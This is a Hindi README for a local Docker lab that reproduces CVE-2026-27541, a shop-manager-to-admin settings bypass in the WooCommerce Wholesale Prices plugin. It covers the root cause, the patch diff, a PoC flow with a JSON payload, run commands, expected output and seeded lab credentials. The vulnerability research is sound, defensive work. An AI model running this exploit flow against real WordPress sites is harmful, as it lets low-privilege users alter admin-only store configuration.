
# CVE-2026-27541 के पुनरुत्पादन हेतु Docker लैब WooCommerce Wholesale Prices में प्रमाणित विशेषाधिकार वृद्धि (authenticated privilege escalation) की भेद्यता को दोहराने के लिए Docker लैब। इसमें असुरक्षित (vulnerable) और पैच किए गए (patched) बिल्ड की तुलना की गई है, साथ ही PoC स्क्रिप्ट और रूट कॉज़ विश्लेषण (root cause analysis) भी शामिल है।

यह प्रोजेक्ट WooCommerce Wholesale Prices / Wholesale Suite प्लगइन में CVE-2026-27541 के व्यवहार का विश्लेषण और पुनरुत्पादन करने के लिए एक स्थानीय Docker लैब है, जिसमें असुरक्षित और पैच किए गए बिल्ड की एक ही मशीन पर साथ-साथ तुलना की जाती है।
मुख्य समस्या निम्नलिखित REST API एंडपॉइंट में Broken Access Control है:
/wp-json/wwp/v1/admin/save
इस लैब में उपयोग किए गए सोर्स कोड के आधार पर, उस रूट में असुरक्षित और पैच किए गए दोनों बिल्ड में पहले से ही permission_callback मौजूद है। हालाँकि, प्रभावित संस्करण एक क्षमता जाँच का उपयोग करता है जो एडमिन सेटिंग्स लिखने की क्रिया के लिए बहुत व्यापक है:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )इस लैब में, उपयोगकर्ता shopmgr, जिसके पास shop_manager भूमिका है, के पास manage_woocommerce=true है लेकिन manage_options नहीं है। परिणामस्वरूप, यह निम्न-विशेषाधिकार वाला उपयोगकर्ता एक वैध लॉग-इन सत्र और एक वैध X-WP-Nonce का उपयोग करके असुरक्षित बिल्ड पर एडमिन सेटिंग्स सेव एंडपॉइंट को कॉल कर सकता है, जबकि पैच किया गया बिल्ड उसी अनुरोध के लिए 403 rest_forbidden लौटाता है।
2.2.6): उपयोगकर्ता shopmgr सफलतापूर्वक POST /wp-json/wwp/v1/admin/save को कॉल कर सकता है और प्लगइन सेटिंग्स को संशोधित कर सकता है।2.2.7): shopmgr से वही अनुरोध 403 के साथ अस्वीकार कर दिया जाता है।403 लौटाते हैं, जो यह दर्शाता है कि यह एक पोस्ट-प्रमाणीकरण विशेषाधिकार वृद्धि समस्या है।wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC संग्रहीत करता है, जबकि पैच किया गया बिल्ड अभी भी See wholesale prices लौटाता है।vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → अलग-अलग MariaDB डेटाबेसseed-vuln / seed-patched → wp-cli सीड जॉब जो WordPress स्थापित करते हैं, प्लगइन स्थापित करते हैं, उपयोगकर्ता बनाते हैं, और परीक्षण के लिए एक उत्पाद बनाते हैंhttp://localhost:8081 → असुरक्षितhttp://localhost:8082 → पैच किया गयाwordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — अलग-अलग डेटाबेस के साथ असुरक्षित और पैच किए गए स्टैक को परिभाषित करता हैscripts/seed-wp.sh — WordPress, WooCommerce, लक्षित प्लगइन स्थापित करता है, और परीक्षण उपयोगकर्ता और उत्पाद डेटा बनाता हैpoc.py — लॉगिन, नॉन्स निष्कर्षण, और REST एंडपॉइंट आह्वान के लिए न्यूनतम-हानि PoCएक बार स्टैक तैयार हो जाने पर, सीड स्क्रिप्ट निम्नलिखित बनाती है:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7स्क्रिप्ट प्रत्येक WordPress कंटेनर में lab-secrets.json भी लिखती है ताकि सीडेड डेटा और संस्करण जानकारी सत्यापित की जा सके।
यह PoC साइट पर कब्ज़ा करने, भूमिकाएँ बदलने, प्लगइन स्थापित करने, या शेल निष्पादित करने का प्रयास नहीं करता है।
यह केवल निम्नलिखित करता है:
shopmgr के रूप में लॉग इन करता हैwpApiSettings.nonce निकालने के लिए संबंधित एडमिन पेज पर जाता हैwwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
यह सेटिंग एक अवलोकनीय मार्कर के रूप में उपयोग की जाती है ताकि यह प्रदर्शित किया जा सके कि एक निम्न-विशेषाधिकार वाला उपयोगकर्ता केवल-एडमिन कॉन्फ़िगरेशन को संशोधित कर सकता है।
POST /wp-json/wwp/v1/admin/saveहालाँकि एंडपॉइंट को एक वैध सत्र और नॉन्स की आवश्यकता होती है, असुरक्षित संस्करण अभी भी shop_manager भूमिका वाले shopmgr जैसे निम्न-विशेषाधिकार वाले उपयोगकर्ता को एक एंडपॉइंट को कॉल करने की अनुमति देता है जो केवल-एडमिन होना चाहिए।
यह अप्रमाणित भेद्यता नहीं है।
यदि एंडपॉइंट को बिना लॉग-इन सत्र के सीधे कॉल किया जाता है, तो असुरक्षित और पैच किए गए दोनों बिल्ड अनुरोध को अस्वीकार कर देते हैं। बग प्रमाणीकरण के बाद प्राधिकरण में मौजूद है, प्रमाणीकरण में ही नहीं।
असुरक्षित संस्करण में permission_callback गायब नहीं है। दोष यह है कि यह एक REST क्रिया के लिए बहुत व्यापक क्षमता जाँच (manage_woocommerce) का उपयोग करता है जो एडमिन-पक्ष सेटिंग्स लिखती है।
includes/class-wwp-admin-settings.php में सोर्स कोड से:
POST /wp-json/wwp/v1/admin/savesave_registered_settings() पर रूट करते हैंpermission_admin_check() को permission_callback के रूप में उपयोग करते हैं2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
इस लैब में, उपयोगकर्ता shopmgr, जिसके पास shop_manager भूमिका है, के पास manage_woocommerce=true है लेकिन manage_options नहीं है, इसलिए यह असुरक्षित जाँच को पार कर जाता है लेकिन पैच की गई जाँच में विफल हो जाता है।
पैच किया गया संस्करण केवल प्रतिक्रिया को 200 से 403 में बदलने से अधिक करता है। यह क्षमता आवश्यकता को manage_woocommerce से manage_options तक कस कर एक्सेस-कंट्रोल तर्क को बदलता है।
इसके अलावा, पैच किए गए बिल्ड में सेव पथ को उपसर्ग-आधारित फ़िल्टरिंग से हटकर स्पष्ट allowlist और मजबूत सैनिटाइज़ेशन की ओर बढ़ाकर और अधिक सख्त किया गया है।
PoC एक वास्तविक ब्राउज़र संदर्भ के समान प्रवाह का अनुसरण करता है:
shopmgr के रूप में लॉग इन करेंwpApiSettings.nonce निकालेंPOST /wp-json/wwp/v1/admin/save को कॉल करेंक्योंकि असुरक्षित बिल्ड manage_woocommerce वाले उपयोगकर्ताओं को इस सेटिंग्स लिखने की क्रिया को कॉल करने की अनुमति देता है, अनुरोध सफल होता है और एक स्थायी विकल्प परिवर्तन में परिणाम देता है।
एक nonce CSRF से सुरक्षा में मदद करता है, लेकिन यह प्राधिकरण नियंत्रण नहीं है।
एक वैध सत्र और एक वैध नॉन्स होने का मतलब यह नहीं है कि उपयोगकर्ता को एडमिन क्रिया करने की अनुमति दी जानी चाहिए। एक विशेषाधिकार प्राप्त एंडपॉइंट पर अत्यधिक व्यापक क्षमता का उपयोग करना निम्न-विशेषाधिकार प्राधिकरण बाईपास बनाने के लिए पर्याप्त है।
docker compose up -d --build
docker compose ps
आपको कम से कम निम्नलिखित देखना चाहिए:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py निम्नानुसार काम करता है:
GET /wp-login.php
एक प्रमाणित सत्र स्थापित करने के लिए POST /wp-login.php
प्लगइन एडमिन पेज खोलें:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
HTML/JavaScript से wpApiSettings.nonce और REST रूट निकालें
निम्नलिखित पर एक अनुरोध भेजें:
/wp-json/wwp/v1/admin/save
पेलोड सबमिट करें:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)अपेक्षित आउटपुट:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)अपेक्षित आउटपुट:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
असुरक्षित नोड पर PoC सफल होने के बाद:
PWNED_BY_POC
इस बग वर्ग का व्यावहारिक प्रभाव यह है कि एक निम्न-विशेषाधिकार वाला उपयोगकर्ता उस कॉन्फ़िगरेशन को संशोधित कर सकता है जो केवल-एडमिन होना चाहिए, जो सीधे निम्नलिखित की ओर ले जा सकता है:
यह लैब जानबूझकर एक सुरक्षित और अवलोकनीय पेलोड का उपयोग करता है ताकि भेद्यता की स्थिति को साबित करने के लिए आवश्यक से अधिक भूमिका परिवर्तन या कोई वृद्धि न हो।
docker compose down -v
localhost से बंधी हैंयह लैब दर्शाता है कि CVE-2026-27541 प्लगइन के REST API सेटिंग्स एंडपॉइंट में एक प्रमाणित निम्न-विशेषाधिकार प्राधिकरण बाईपास है। संस्करण 2.2.6 में दोष अनुमति जाँच की अनुपस्थिति नहीं है, बल्कि एक ऐसी क्रिया के लिए अत्यधिक व्यापक क्षमता (manage_woocommerce) का उपयोग है जो manage_options स्तर पर प्रतिबंधित होनी चाहिए।
इस स्थानीय वातावरण में:
shopmgr असुरक्षित जाँच को पार कर जाता है और POST /wp-json/wwp/v1/admin/save के माध्यम से एडमिन-पक्ष सेटिंग्स को सफलतापूर्वक संशोधित कर सकता है2.2.7 पर अवरुद्ध हैPWNED_BY_POC बनाए रखता है, जबकि पैच किया गया बिल्ड नहीं रखतापरिणामस्वरूप, यह रिपॉजिटरी पूरी तरह से नियंत्रित स्थानीय वातावरण में असुरक्षित बनाम पैच किए गए अंतर के व्यवहारिक प्रमाण और कोड-समर्थित प्रमाण दोनों के रूप में कार्य करती है।